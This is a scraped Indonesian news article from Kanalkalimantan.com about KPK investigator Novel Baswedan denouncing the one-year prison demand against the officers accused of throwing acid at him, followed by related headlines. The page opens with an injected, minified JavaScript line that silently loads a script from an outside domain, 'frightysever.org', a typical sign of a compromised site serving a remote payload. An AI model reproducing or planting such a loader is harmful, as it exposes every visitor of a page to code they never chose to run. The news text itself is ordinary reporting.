(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA– Novel Baswedan naik pitam mendengar kabar pelaku penyiraman air keras terhadap dirinya dituntut 1 tahun penjara. Penyidik Komisi Pemberantasan Korupsi (KPK) ini menilai, tuntutan hukuman untuk pelaku tersebut seolah-olah hendak mengejek dirinya.
Penilaian Novel Baswedan bukan tanpa alasan, karena kejahatan yang dilakukan pelaku sudah termasuk penganiayaan tingkat tinggi, dilakukan oleh anggota polisi aktif, dan menyebabkan cacat seumur hidup pada korban.
“Bahkan ancaman hukumannya satu tahun dibuat seolah-olah, saya tidak tahu, mau mengejek saya? Atau mau menantang ayo satu tahun mau ngapain kalian? Seolah-olah seperti itu tantangannya,” kata Novel ketika diundang dalam acara Mata Najwa, Rabu (17/6/2020), dilansir Suara.com, mitra media Kanalkalimantan.com.
Ia pun merasa tuntutan hukuman satu tahun yang diajukan kepada pelaku seperti mengolok-olok dirinya. Ia menilai hal itu sangat keterlaluan. “Saya melihat ini keterlaluan,” katanya dengan nada tinggi.
Novel mengaku ketika pertama kali mendengar tuntutan hukuman satu tahun, dirinya kaget karena merasa dalang di balik kasus ini bersikap sangat berani dalam memperrmainkan kasus hukum. “Terus terang ketika saya mendengar dari media satu tahun, saya kaget. Ini sudah sedemikian beraninya,” kata Novel Baswedan.
Ia malah menduga tuntutan tersebut juga menghina Presiden Jokowi. Pasalnya, Jokowi sempat meminta agar kasus Novel Baswedan diusut dengan sungguh-sungguh. “Saya tidak tahu jangan-jangan tuntutan ini juga menghina presiden karena apa? Presiden perintahkan untuk periksa benar-benar. Tapi berani dengan terang-terangan, dengan vulgar membelokkan fakta, menghilangkan saksi-saksi, menghilangkan bukti, menuntut satu tahun,” terangnya.
Seperti diketahui, terdakwa kasus penyiraman air keras terhadap Novel Baswedan yakni Ronny Bugis dan Rahmat Kadir Mahulette dituntut ancaman hukuman satu tahun penjara. Tuntutan ini pun menuai protes dari berbagai kalangan karena dinilai terlalu ringan. (suara)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.